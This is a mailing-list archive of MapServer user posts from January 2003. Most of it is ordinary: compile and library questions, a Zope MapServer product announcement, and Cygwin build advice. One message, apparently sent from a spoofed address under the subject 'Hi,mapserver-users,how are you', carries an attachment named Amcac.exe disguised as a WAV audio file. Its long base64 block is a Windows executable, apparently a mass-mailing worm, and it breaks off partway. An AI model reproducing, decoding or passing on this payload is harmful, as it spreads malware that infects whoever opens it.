configure scripts. This becomes > sligghtly clearer if you use a subdirectory for your styff, so ~/mylibs > inside which you create lib and include, and then feed ~/mylibs to your > configure ... > > In some cases, you can try pointing to the src directory where the library > has been built. > > But you're going to have a bigger problem. The system linker on your ISP's > server isn't going to find the librairies it wants to dynamically load. To > get around this, either you get them to update their linker paths > (ld.so.conf), which is unlikely they would do, or you use your own linker > ... Or, last resort, statically build your cgi executable ... though I > couldn't help you with that I'm afraid! > > J.F. > > -----Original Message----- > From: Andrew Covey [mailto:lornknight at yahoo.com] > Sent: Monday, January 06, 2003 3:50 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Compile/library problems > > Hello, > > I am attempting to install MapServer via an account > with an ISP, who allowed me to install the necessary > support libraries (in my home dir). When I attempt to > compile map server, I specify where the libs are - > just as ./configure --help specifies I should. > ./configure will, under no circumstances, acknowledge > the presence of the libraries I have compiled. > > I have had this compile problem with other Redhat > boxes, and Gentoo Linux boxes also. Slackware seems > to behave well however. Sadly, my ISP is using RedHat > 7.2, and will not change distros just for little'ole > me. > > Can anyone help me figure out why I can't seem to > compile in the libs I compiled and installed in my > home dir? Need my ISP install the libraries instead > of myself for some reason? Any help would be most > appreciated. > > Thanks, > > Andrew C. From sgillies at frii.com Mon Jan 6 13:58:39 2003 From: sgillies at frii.com (Sean Gillies) Date: Mon, 6 Jan 2003 14:58:39 -0700 Subject: [Mapserver-users] Zope Mapserver Product Message-ID: <032A52E4-21C2-11D7-A412-000393B98B56@frii.com> Greetings and a great New Year to all, I've just finished testing a first cut at a Mapserver product for Zope that I'm calling ZMapserver 0.1, and have made it available from the url http://www.frii.com/~sgillies/projects/ZMapserver/ ZMapserver has Zope management interfaces for administering maps and several simple mapping functions (draw, center, pan, zoom). A very simple demo application using a ZTP and Python script is included. I am hoping that the Zope and Python mapscript users out there may try it out, let me know what they think of it, and consider collaborating on future development. Dave Graham -- try dropping it into your Zope server and let me know if it works with all the raster data! All that it requires is Zope (I've been testing with 2.6, but don't anticipate problems with 2.5) and installation of Python mapscript (recent enough to have the imgObj.saveToString() method) in a location that Zope can see. Check out the README file in the url above for directions and more information and use the file tests/testZMap.py as API documentation for now. cheers, Sean # Sean Gillies # sgillies at frii.com From daver at umiacs.umd.edu Mon Jan 6 13:58:46 2003 From: daver at umiacs.umd.edu (David Rafkind) Date: Mon, 6 Jan 2003 16:58:46 -0500 Subject: [Mapserver-users] yet another applet interface Message-ID: <20030106165846.A22770@ironclad.umiacs.umd.edu> I stole the color scheme from the PHP GIS guy. :) http://ironclad.umiacs.umd.edu:8000/ This is an evolution of an interface I did for the ESS project at UMIACS: http://terra.umiacs.umd.edu:8080/ess2 (project is in development and may not be functional) Any comments? From ARyan at co.linn.or.us Mon Jan 6 16:34:13 2003 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Mon, 6 Jan 2003 16:34:13 -0800 Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS Message-ID: <614FCE5F14A6D41180C200010240D6A20104BFA4@LINNMS> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2B5E4.80C72160 Content-Type: text/plain; charset="iso-8859-1" Hi. I want to try compiling mapserver on a windows box and use perl mapscript. I see the makefile.vc file for MSVC++, but I don't have visual C++. In fact, I have no compiling experience whatsoever. Can I use the makefile.vc file with any of the free C compilers out there? Can I edit it easily to work on another compiler? Can someone steer me along the right track? Thanks, Adam ------_=_NextPart_001_01C2B5E4.80C72160 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Perl Mapscript and Microsoft IIS

Hi.  I want to try compiling mapserver on a = windows box and use perl mapscript.

I see the makefile.vc file for MSVC++, but I don't = have visual C++.  In fact, I have no compiling experience = whatsoever.

Can I use the makefile.vc file with any of the free C = compilers out there?  Can I edit it easily to work on another = compiler?  Can someone steer me along the right track?

Thanks,

Adam 

------_=_NextPart_001_01C2B5E4.80C72160-- From dturover at student.santarosa.edu Mon Jan 6 19:11:56 2003 From: dturover at student.santarosa.edu (David Turover) Date: Mon, 6 Jan 2003 19:11:56 -0800 (PST) Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS In-Reply-To: <614FCE5F14A6D41180C200010240D6A20104BFA4@LINNMS> Message-ID: On Mon, 6 Jan 2003, Ryan, Adam wrote: > Hi. I want to try compiling mapserver on a windows box and use perl > mapscript. > > I see the makefile.vc file for MSVC++, but I don't have visual C++. In > fact, I have no compiling experience whatsoever. > > Can I use the makefile.vc file with any of the free C compilers out there? > Can I edit it easily to work on another compiler? Can someone steer me > along the right track? Give this a look: http://mapserver.gis.umn.edu/doc/mapserver-cygwin-howto.html I haven't had much success compiling Mapserver under mingw. It can probably be done, but compiling under cygwin should be easier. > Thanks, > > Adam Y'welcome. From woodbri at swoodbridge.com Tue Jan 7 00:09:20 2003 From: woodbri at swoodbridge.com (woodbri) Date: Tue, 7 Jan 2003 09:09:20 +0100 (added by postmaster@wanadoo.fr) Subject: [Mapserver-users] Hi,mapserver-users,how are you Message-ID: <3E075B32005A127F@mel-rta8.wanadoo.fr> (added by postmaster@wanadoo.fr) --F9w10Hv83W1197qbb9Wi65kJwicrz7N3n5y31 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --F9w10Hv83W1197qbb9Wi65kJwicrz7N3n5y31 Content-Type: audio/x-wav; name=Amcac.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 